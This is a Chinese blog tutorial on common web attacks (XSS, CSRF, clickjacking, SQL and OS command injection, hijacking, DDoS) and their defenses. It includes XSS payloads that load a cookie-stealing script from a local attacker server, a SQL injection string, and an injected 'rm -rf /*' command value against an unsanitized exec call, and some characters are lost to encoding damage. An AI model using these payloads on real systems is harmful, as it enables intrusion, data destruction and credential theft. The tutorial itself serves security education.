前端安全——常見web攻擊

此文項(xiàng)目代碼:https://github.com/bei-yang/I-want-to-be-an-architect
碼字不易,辛苦點(diǎn)個(gè)star,感謝!

引言


此篇文章主要涉及以下內(nèi)容:

  1. XSS
  2. CSRF
  3. 點(diǎn)擊劫持
  4. SQL注入
  5. OS注入
  6. 請求劫持
  7. DDOS

XSS


XSS(Cross Site Scripting),跨站腳本攻擊,因?yàn)榭s寫和CSS重疊,所以只能叫XSS??缯灸_本攻擊是指通過存在安全漏洞的Web網(wǎng)站注冊用戶的瀏覽器內(nèi)運(yùn)行非法的HTML標(biāo)簽或JavaScript進(jìn)行的一種攻擊。
跨站腳本攻擊有可能造成以下影響:

  • 利用虛假輸入表單騙取用戶個(gè)人信息。
  • 利用腳本竊取用戶的Cookie值,被害者在不知情的情況下,幫助攻擊者發(fā)送惡意請求。
  • 顯示偽造的文章或圖片。

XSS攻擊分類

  • 反射性——url參數(shù)直接注入
// 普通
http://localhost:3000/?from=china
// alert嘗試
http://localhost:3000/?from=<script>alert(3)</script>
// 獲取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名偽造 https://dwz.cn/
// 偽造cookie?侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox
NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
  • 存儲型——存儲到DB后讀取時(shí)注入
// 評論
<script>alert(1)</script>
// 跨站腳本注?
我來了<script src="http://localhost:4000/hack.js"></script>

XSS攻擊的危害——scripting能干啥就能干啥

  • 獲取頁面數(shù)據(jù)
  • 獲取cookies
  • 劫持前端邏輯
  • 發(fā)送請求
  • 偷取網(wǎng)站的任意數(shù)據(jù)
  • 偷取用戶的資料
  • 偷取用戶的秘密和登錄態(tài)
  • 欺騙用戶

防范手段

ejs轉(zhuǎn)義小知識

<% code %>?于執(zhí)?其中javascript代碼;
<%= code %>會對code進(jìn)?html轉(zhuǎn)義;
<%- code %>將不會進(jìn)?轉(zhuǎn)義
  • HEAD
ctx.set('X-XSS-Protection', 0) // 禁?XSS過濾
// http://localhost:3000/?from=<script>alert(3)</script> 可以攔截 但偽裝?下就
不?了

0禁止XSS過濾。
1啟用XSS過濾(通常瀏覽器是默認(rèn)的)。如果檢測到跨站腳本攻擊,瀏覽器將清除頁面(刪除不安全的部分)。
1;mode=block啟用XSS過濾。如果檢測到攻擊,瀏覽器將不會清除頁面,而是阻止頁面加載。
1;report=(Chromium only)啟動XSS過濾。如果檢測到跨站腳本攻擊,瀏覽器將清除頁面并使用CSPreport-uri指令的功能發(fā)送違規(guī)報(bào)告。

  • CSP
    內(nèi)容安全策略(CSP,Content Security Policy)是一個(gè)附加的安全層,用于幫助檢測和緩解某些類型的攻擊,包括跨站腳本(XSS)和數(shù)據(jù)注入等攻擊。這些攻擊可用于實(shí)現(xiàn)從數(shù)據(jù)竊取到網(wǎng)站破壞或作為惡意軟件分發(fā)版本等用途。
    CSP本質(zhì)上就是建立白名單,開發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)行。我們只需要配置規(guī)則,如何攔截是由瀏覽器自己實(shí)現(xiàn)的。我們可以通過這種方式來盡量減少XSS攻擊。
  • 轉(zhuǎn)義字符
  • 黑名單
    用戶的輸入永遠(yuǎn)不可信任,最普遍的做法就是轉(zhuǎn)義輸入輸出的內(nèi)容,對于引導(dǎo)、尖括號、斜杠進(jìn)行轉(zhuǎn)義。
    對于富文本,顯然不能通過上面的辦法來轉(zhuǎn)義所有字符,因?yàn)檫@樣會把需要的格式也過濾掉。對于這種情況,通常采用白名單過濾的辦法,當(dāng)然也可以通過黑名單過濾,但是考慮到需要過濾的標(biāo)簽和標(biāo)簽屬性實(shí)在太多,更加推薦使用白名單的方式。
  • HTTPOnly Cookie
    這是預(yù)防XSS攻擊竊取用戶cookie最有效的防御手段。web應(yīng)用程序在設(shè)置cookie時(shí),將其屬性設(shè)為HttpOnly,就可以避免該網(wǎng)頁的cookie被客戶端惡意JavaScript獲取,保護(hù)用戶cookie信息。
response.addHeader("Set-Cookie","uid=112;Path=/;HttpOnly")

CSRF


CSRF(Cross Site Request Forgery),即跨站請求偽造,是一種常見的web攻擊,他利用用戶已登錄的身份,在用戶毫不知情的情況下,以用戶的名義完成非法操作。

  • 用戶已經(jīng)登錄了站點(diǎn)A,并在本地記錄了Cookie
  • 在用戶沒有登出站點(diǎn)A的情況下(也就是cookie生效的情況下),訪問了惡意攻擊者提供的引誘危險(xiǎn)站點(diǎn)B(B站點(diǎn)要求訪問站點(diǎn)A)
  • 站點(diǎn)A沒有做任何CSRF防御
登錄 http://localhost:4000/csrf.html

CSRF攻擊危害

  • 利用用戶登錄態(tài)
  • 用戶不知情
  • 完成業(yè)務(wù)請求
  • 盜取用戶資金(轉(zhuǎn)賬,消費(fèi))
  • 冒充用戶發(fā)帖背鍋
  • 損害網(wǎng)站聲譽(yù)

防御

  • 禁止第三方網(wǎng)站帶Cookie——有兼容性問題
  • Referer Check——https不發(fā)送Referer
  • 驗(yàn)證碼

點(diǎn)擊劫持——Clickjacking

點(diǎn)擊劫持是一種視覺欺騙的攻擊手段。攻擊者將需要攻擊的網(wǎng)站通過iframe嵌套的方式嵌入自己的網(wǎng)頁中,并將iframe設(shè)置為透明,在頁面中透出一個(gè)按鈕誘導(dǎo)用戶點(diǎn)擊。

// 登錄
http://localhost:4000/clickjacking.html

防御

  • X-FRAME-OPTIONS
    X-FRAME-OPTIONS是一個(gè)HTTP響應(yīng)頭,在現(xiàn)代瀏覽器有一個(gè)很好的支持。這個(gè)HTTP響應(yīng)頭就是為了防御用iframe嵌套的點(diǎn)擊劫持攻擊。
    該響應(yīng)頭有三個(gè)值可選,分別是:
    1. DENY,表示頁面不允許通過iframe的方式展示
    2. SAMEORIGIN,表示頁面可以在相同域名下通過iframe的方式展示
    3. ALLOW-FROM,表示頁面可以在指定來源的iframe中展示
    ctx.set('X-FRAME-OPTIONS','DENY')
    
  • JS方式
<head>
 <style id="click-jack">
 html {
 display: none !important;
 }
 </style>
</head>
<body>
 <script>
 if (self == top) {
 var style = document.getElementById('click-jack')
 document.body.removeChild(style)
 } else {
 top.location = self.location
 }
 </script>
</body>

以上代碼的作?就是當(dāng)通過 iframe 的?式加載??時(shí),攻擊者的??直接不顯示所有內(nèi)容了。

SQL注入

// 填?特殊密碼
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'

防御

  • 所有的查詢語句建議使用數(shù)據(jù)庫提供的參數(shù)化查詢接口,參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語句中,即不要直接拼接SQL語句。例如Node.js中的mysqljs庫的query方法中的?占位參數(shù)。
  • 嚴(yán)格限制web應(yīng)用的數(shù)據(jù)庫的操作權(quán)限,給此用戶提供僅僅能夠滿足其工作的最低權(quán)限,從而最大限度的減少注入攻擊對數(shù)據(jù)庫的危害。
  • 后端代碼檢查輸入的數(shù)據(jù)是否符合預(yù)期,嚴(yán)格限制變量的類型,例如使用正則表達(dá)式進(jìn)行一些匹配處理。
  • 對進(jìn)?數(shù)據(jù)庫的特殊字符(',",\,<,>,&,*,; 等)進(jìn)?轉(zhuǎn)義處理,或編碼轉(zhuǎn)換?;旧?br> 所有的后端語?都有對字符串進(jìn)?轉(zhuǎn)義處理的?法,?如 lodash 的 lodash._escapehtmlchar
    庫。

OS命令注入

OS命令注?和SQL注?差不多,只不過SQL注?是針對數(shù)據(jù)庫的,?OS命令注?是針對操作系統(tǒng)的。OS命令注?攻擊指通過Web應(yīng)?,執(zhí)??法的操作系統(tǒng)命令達(dá)到攻擊的?的。只要在能調(diào)?Shell函數(shù)的地?就有存在被攻擊的?險(xiǎn)。倘若調(diào)?Shell時(shí)存在疏漏,就可以執(zhí)?插?的?法命令。

// 以 Node.js 為例,假如在接?中需要從 github 下載?戶指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ?戶輸?的參數(shù) */};
exec(`git clone ${params.repo} /some/path`);

如果傳?的參數(shù)是這樣的呢

https://github.com/xx/xx.git && rm -rf /* &&

請求劫持

  • DNS劫持
    顧名思義,DNS服務(wù)器(DNS解析各個(gè)步驟)被篡改,修改了域名解析的結(jié)果,使得訪問到的不是預(yù)期
    的ip
  • HTTP劫持 運(yùn)營商劫持,此時(shí)?概只能升級HTTPS了

DDOS

http://www.ruanyifeng.com/blog/2018/06/ddos.html 阮?峰

distributed denial of service
DDOS 不是?種攻擊,?是??類攻擊的總稱。它有??種類型,新的攻擊?法還在不斷發(fā)明出來。?站運(yùn)?的各個(gè)環(huán)節(jié),都可以是攻擊?標(biāo)。只要把?個(gè)環(huán)節(jié)攻破,使得整個(gè)流程跑不起來,就達(dá)到了癱瘓服務(wù)的?的。
其中,?較常?的?種攻擊是 cc 攻擊。它就是簡單粗暴地送來?量正常的請求,超出服務(wù)器的最?承受量,導(dǎo)致宕機(jī)。我遭遇的就是 cc 攻擊,最多的時(shí)候全世界?概20多個(gè) IP 地址輪流發(fā)出請求,每個(gè)地址的請求量在每秒200次~300次。我看訪問?志的時(shí)候,就覺得那些請求像洪??樣涌來,?眨眼就是?大堆,?分鐘的時(shí)間,?志?件的體積就?了100MB。說實(shí)話,這只能算?攻擊,但是我的個(gè)??站沒有任何防護(hù),服務(wù)器還是跟其他?共享的,這種流量?來?刻就下線了。

防御手段

  • 備份?站
    備份?站不?定是全功能的,如果能做到全靜態(tài)瀏覽,就能滿?需求。最低限度應(yīng)該可以顯示公
    告,告訴?戶,?站出了問題,正在全?搶修。
  • HTTP 請求的攔截
    硬件 服務(wù)器 防?墻
  • 帶寬擴(kuò)容 + CDN
    提?犯罪成本

你的贊是我前進(jìn)的動力

求贊,求評論,求轉(zhuǎn)發(fā)...

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容